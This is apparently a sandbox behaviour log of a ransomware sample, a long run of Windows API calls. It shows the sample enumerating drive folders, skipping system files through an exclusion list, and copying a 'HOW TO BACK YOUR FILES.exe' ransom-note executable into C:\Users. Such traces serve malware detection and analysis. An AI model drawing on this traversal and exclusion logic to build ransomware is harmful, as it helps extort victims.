	[0035.607] lstrlenW (lpString="MSOCache") returned 8
	[0035.607] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0035.607] lstrcpyW (in: lpString1=0x2d3e556, lpString2="MSOCache" | out: lpString1="MSOCache") returned="MSOCache"
	[0035.607] SetFileAttributesW (lpFileName="C:\\MSOCache", dwFileAttributes=0x2012) returned 1
	[0035.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7888
	[0035.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x18) returned 0x5b78a8
	[0035.607] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7890 | out: ListHead=0x5b76b0, ListEntry=0x5b7890) returned 0x5b7870
	[0035.607] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0035.607] lstrcmpiW (lpString1="pagefile.sys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.607] lstrcmpiW (lpString1="pagefile.sys", lpString2="Apollon865.txt.exe") returned 1
	[0035.607] lstrcmpiW (lpString1="pagefile.sys", lpString2=".") returned 1
	[0035.607] lstrcmpiW (lpString1="pagefile.sys", lpString2="..") returned 1
	[0035.607] lstrcmpiW (lpString1="pagefile.sys", lpString2="windows") returned -1
	[0035.607] lstrcmpiW (lpString1="pagefile.sys", lpString2="bootmgr") returned 1
	[0035.607] lstrcmpiW (lpString1="pagefile.sys", lpString2="temp") returned -1
	[0035.607] lstrcmpiW (lpString1="pagefile.sys", lpString2="pagefile.sys") returned 0
	[0035.607] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2="Apollon865.txt.exe") returned 1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2=".") returned 1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2="..") returned 1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2="windows") returned -1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2="bootmgr") returned 1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2="temp") returned -1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2="pagefile.sys") returned 1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2="boot") returned 1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2="ids.txt") returned 1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2="ntuser.dat") returned 1
	[0035.607] lstrcmpiW (lpString1="PerfLogs", lpString2="perflogs") returned 0
	[0035.608] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x24432f60, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x24432f60, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="Apollon865.txt.exe") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2=".") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="..") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="windows") returned -1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="bootmgr") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="temp") returned -1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="pagefile.sys") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="boot") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="ids.txt") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="ntuser.dat") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="perflogs") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files", lpString2="MSBuild") returned 1
	[0035.608] lstrlenW (lpString="Program Files") returned 13
	[0035.608] lstrlenW (lpString="C:\\MSOCache") returned 11
	[0035.608] lstrcpyW (in: lpString1=0x2d3e556, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files"
	[0035.608] SetFileAttributesW (lpFileName="C:\\Program Files", dwFileAttributes=0x10) returned 1
	[0035.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78c8
	[0035.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x22) returned 0x5bed48
	[0035.608] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b78d0 | out: ListHead=0x5b76b0, ListEntry=0x5b78d0) returned 0x5b7890
	[0035.608] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files (x86)", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files (x86)", lpString2="Apollon865.txt.exe") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files (x86)", lpString2=".") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files (x86)", lpString2="..") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files (x86)", lpString2="windows") returned -1
	[0035.608] lstrcmpiW (lpString1="Program Files (x86)", lpString2="bootmgr") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files (x86)", lpString2="temp") returned -1
	[0035.608] lstrcmpiW (lpString1="Program Files (x86)", lpString2="pagefile.sys") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files (x86)", lpString2="boot") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files (x86)", lpString2="ids.txt") returned 1
	[0035.608] lstrcmpiW (lpString1="Program Files (x86)", lpString2="ntuser.dat") returned 1
	[0035.609] lstrcmpiW (lpString1="Program Files (x86)", lpString2="perflogs") returned 1
	[0035.609] lstrcmpiW (lpString1="Program Files (x86)", lpString2="MSBuild") returned 1
	[0035.609] lstrlenW (lpString="Program Files (x86)") returned 19
	[0035.609] lstrlenW (lpString="C:\\Program Files") returned 16
	[0035.609] lstrcpyW (in: lpString1=0x2d3e556, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)"
	[0035.609] SetFileAttributesW (lpFileName="C:\\Program Files (x86)", dwFileAttributes=0x10) returned 1
	[0035.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78e8
	[0035.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7db8
	[0035.609] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b78f0 | out: ListHead=0x5b76b0, ListEntry=0x5b78f0) returned 0x5b78d0
	[0035.609] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2a843a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2a843a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="Apollon865.txt.exe") returned 1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2=".") returned 1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="..") returned 1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="windows") returned -1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="bootmgr") returned 1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="temp") returned -1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="pagefile.sys") returned 1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="boot") returned 1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="ids.txt") returned 1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="ntuser.dat") returned 1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="perflogs") returned 1
	[0035.609] lstrcmpiW (lpString1="ProgramData", lpString2="MSBuild") returned 1
	[0035.609] lstrlenW (lpString="ProgramData") returned 11
	[0035.609] lstrlenW (lpString="C:\\Program Files (x86)") returned 22
	[0035.609] lstrcpyW (in: lpString1=0x2d3e556, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData"
	[0035.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0035.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x1e) returned 0x597920
	[0035.609] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0035.609] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0035.609] lstrcmpiW (lpString1="Recovery", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.609] lstrcmpiW (lpString1="Recovery", lpString2="Apollon865.txt.exe") returned 1
	[0035.609] lstrcmpiW (lpString1="Recovery", lpString2=".") returned 1
	[0035.610] lstrcmpiW (lpString1="Recovery", lpString2="..") returned 1
	[0035.610] lstrcmpiW (lpString1="Recovery", lpString2="windows") returned -1
	[0035.610] lstrcmpiW (lpString1="Recovery", lpString2="bootmgr") returned 1
	[0035.610] lstrcmpiW (lpString1="Recovery", lpString2="temp") returned -1
	[0035.610] lstrcmpiW (lpString1="Recovery", lpString2="pagefile.sys") returned 1
	[0035.610] lstrcmpiW (lpString1="Recovery", lpString2="boot") returned 1
	[0035.610] lstrcmpiW (lpString1="Recovery", lpString2="ids.txt") returned 1
	[0035.610] lstrcmpiW (lpString1="Recovery", lpString2="ntuser.dat") returned 1
	[0035.610] lstrcmpiW (lpString1="Recovery", lpString2="perflogs") returned 1
	[0035.610] lstrcmpiW (lpString1="Recovery", lpString2="MSBuild") returned 1
	[0035.610] lstrlenW (lpString="Recovery") returned 8
	[0035.610] lstrlenW (lpString="C:\\ProgramData") returned 14
	[0035.610] lstrcpyW (in: lpString1=0x2d3e556, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery"
	[0035.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0035.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x18) returned 0x5b7948
	[0035.610] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0035.610] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="Apollon865.txt.exe") returned 1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2=".") returned 1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="..") returned 1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="windows") returned -1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="bootmgr") returned 1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="temp") returned -1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="pagefile.sys") returned 1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="boot") returned 1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="ids.txt") returned 1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="ntuser.dat") returned 1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="perflogs") returned 1
	[0035.610] lstrcmpiW (lpString1="System Volume Information", lpString2="MSBuild") returned 1
	[0035.610] lstrlenW (lpString="System Volume Information") returned 25
	[0035.610] lstrlenW (lpString="C:\\Recovery") returned 11
	[0035.610] lstrcpyW (in: lpString1=0x2d3e556, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information"
	[0035.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0035.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b5ed8
	[0035.610] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7930
	[0035.610] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="Apollon865.txt.exe") returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2=".") returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="..") returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="windows") returned -1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="bootmgr") returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="temp") returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="pagefile.sys") returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="boot") returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="ids.txt") returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="ntuser.dat") returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="perflogs") returned 1
	[0035.611] lstrcmpiW (lpString1="Users", lpString2="MSBuild") returned 1
	[0035.611] lstrlenW (lpString="Users") returned 5
	[0035.611] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0035.611] lstrcpyW (in: lpString1=0x2d3e556, lpString2="Users" | out: lpString1="Users") returned="Users"
	[0035.611] SetFileAttributesW (lpFileName="C:\\Users", dwFileAttributes=0x10) returned 1
	[0035.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0035.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x12) returned 0x5b79a8
	[0035.611] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7970
	[0035.611] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0035.611] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.611] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0035.611] lstrcmpiW (lpString1="Windows", lpString2=".") returned 1
	[0035.611] lstrcmpiW (lpString1="Windows", lpString2="..") returned 1
	[0035.611] lstrcmpiW (lpString1="Windows", lpString2="windows") returned 0
	[0035.611] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
	[0035.611] FindClose (in: hFindFile=0x5ca050 | out: hFindFile=0x5ca050) returned 1
	[0035.611] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0035.611] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users", iMaxLength=260 | out: lpString1="C:\\Users") returned="C:\\Users"
	[0035.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0035.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0035.611] lstrlenW (lpString="C:\\Users") returned 8
	[0035.612] lstrcatW (in: lpString1="", lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users"
	[0035.612] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.612] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0035.613] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8
	[0035.613] GetLastError () returned 0x0
	[0035.613] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0035.613] ReadFile (in: hFile=0xa8, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0035.613] CloseHandle (hObject=0xa8) returned 1
	[0035.613] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0035.613] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.613] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8053f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8053f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0035.613] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.614] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0035.614] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0035.614] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8053f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8053f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0035.614] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.614] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0035.614] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0035.614] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0035.614] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="Apollon865.txt.exe") returned -1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2=".") returned 1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="..") returned 1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="windows") returned -1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="bootmgr") returned -1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="temp") returned -1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="pagefile.sys") returned -1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="boot") returned -1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="ids.txt") returned -1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="ntuser.dat") returned -1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="perflogs") returned -1
	[0035.614] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz", lpString2="MSBuild") returned -1
	[0035.614] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz") returned 20
	[0035.614] lstrlenW (lpString="C:\\Users\\*") returned 10
	[0035.614] lstrcpyW (in: lpString1=0x2d3e562, lpString2="5p5NrGJn0jS HALPmcxz" | out: lpString1="5p5NrGJn0jS HALPmcxz") returned="5p5NrGJn0jS HALPmcxz"
	[0035.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0035.614] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3c) returned 0x5b5f20
	[0035.614] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7970
	[0035.614] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1
	[0035.614] lstrcmpiW (lpString1="All Users", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.614] lstrcmpiW (lpString1="All Users", lpString2="Apollon865.txt.exe") returned -1
	[0035.614] lstrcmpiW (lpString1="All Users", lpString2=".") returned 1
	[0035.614] lstrcmpiW (lpString1="All Users", lpString2="..") returned 1
	[0035.614] lstrcmpiW (lpString1="All Users", lpString2="windows") returned -1
	[0035.614] lstrcmpiW (lpString1="All Users", lpString2="bootmgr") returned -1
	[0035.614] lstrcmpiW (lpString1="All Users", lpString2="temp") returned -1
	[0035.614] lstrcmpiW (lpString1="All Users", lpString2="pagefile.sys") returned -1
	[0035.615] lstrcmpiW (lpString1="All Users", lpString2="boot") returned -1
	[0035.615] lstrcmpiW (lpString1="All Users", lpString2="ids.txt") returned -1
	[0035.615] lstrcmpiW (lpString1="All Users", lpString2="ntuser.dat") returned -1
	[0035.615] lstrcmpiW (lpString1="All Users", lpString2="perflogs") returned -1
	[0035.615] lstrcmpiW (lpString1="All Users", lpString2="MSBuild") returned -1
	[0035.615] lstrlenW (lpString="All Users") returned 9
	[0035.615] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 29
	[0035.615] lstrcpyW (in: lpString1=0x2d3e562, lpString2="All Users" | out: lpString1="All Users") returned="All Users"
	[0035.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0035.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x26) returned 0x5bed78
